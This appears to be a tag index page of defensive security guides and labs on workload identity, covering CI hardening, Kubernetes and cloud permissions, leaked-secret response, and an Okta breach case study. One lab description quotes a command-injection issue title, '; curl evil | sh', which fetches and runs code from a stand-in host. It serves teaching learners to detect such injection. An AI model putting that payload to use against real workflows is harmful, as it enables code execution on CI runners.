Workload identity
9 guides tagged Workload identity, grouped by topic, with the SDLC phase and role each is written for.
- SDLC phases
Software supply chain
2 guidesProtect package publication and the update channel
Constrain release identities, verify what consumers receive, and prepare for publisher or update-key compromise.
Release · Developers
Harden GitHub Actions against workflow and supply-chain attacks
Close the paths that give untrusted pull-request code secrets or a write token: pass context through env, keep pull_request_target away from fork code, pin actions to commit SHAs, scope GITHUB_TOKEN and OIDC, and treat artifacts as data.
Development, Release · Developers, AppSec engineers, Platform engineers and SREs
Runtime, cloud & APIs
4 guidesRun Kubernetes workloads with only the privileges they need
Review pod settings, service accounts and effective permissions together before treating a namespace as an isolation boundary.
Development, Release, Maintenance · Developers, Platform engineers and SREs
Review cloud permissions and role trust together
Distinguish who can obtain a cloud identity from what that identity can do, then test the effective access path.
Release, Maintenance · Developers, Platform engineers and SREs
Authenticate workloads and authorize their service actions
Use service identities, mutual TLS and function permissions without mistaking an encrypted connection for complete authorization.
Release, Maintenance · Platform engineers and SREs
Apply a security baseline across AWS, Azure and Google Cloud
Give workloads platform identities instead of keys, guard the instance metadata endpoint, block public storage, keep audit logs past the default retention, close inbound admin ports and use the native secret store, with tested Terraform for AWS, Azure and Google Cloud.
Release, Maintenance · Developers, AppSec engineers, Platform engineers and SREs
Identity & cryptography
3 guidesWorkload identity federation: short-lived, scoped identities for services and CI
Trace how a running workload obtains a short-lived identity, write cloud trust policies that match immutable claims instead of names or wildcards, and keep the resulting credential limited by audience and authorization.
Design, Development, Release · Platform engineers and SREs
Contain a leaked secret, then investigate and clean up
Revoke an exposed API key, token or private key at its issuer before anything else, end the sessions it minted, check the provider's logs, then remove every copy and replace it with a credential that expires on its own.
Development, Maintenance · Developers, AppSec engineers, Platform engineers and SREs
Case study: the Okta support-system breach and session tokens in HAR files (2023)
How a service account password saved to a personal browser profile let an attacker download customers' HAR files from Okta's support system, replay the session tokens inside them against five customers, and stay unseen for two weeks; and why HAR files are credentials, admin sessions need binding, and every exposed credential must be rotated.
Development, Maintenance · Developers, Platform engineers and SREs
Practice
Privileged container lab: Reject a privileged workload before deployment
A deployment review checks only the first container. A privileged init container slips through. Repair a deliberately small admission predicate and test all container lists.
Actions injection lab: Flag GitHub Actions expression injection
A workflow interpolates ${{ github.event.issue.title }} straight into a run script, so an issue title like "; curl evil | sh" runs on the runner. The linter that is supposed to catch this only knows one expression. Repair it so it flags any attacker-controlled context used in a shell script, and treats the env-variable pattern as safe.
NetworkPolicy lab: Lock down a shop namespace
One hurried NetworkPolicy lets every pod in every namespace reach the API, and nothing protects the web tier or the database. Rewrite the shop namespace’s policies so only the flows the application needs are allowed.
IAM trust policy lab: Evaluate a role trust policy against the confused deputy
An evaluator for AWS sts:AssumeRole trust policies matches the principal and action but ignores the Condition block and does not honour an explicit Deny, so a broad principal can assume a role without the external id — the confused deputy. Repair evaluate_trust to enforce conditions and Deny.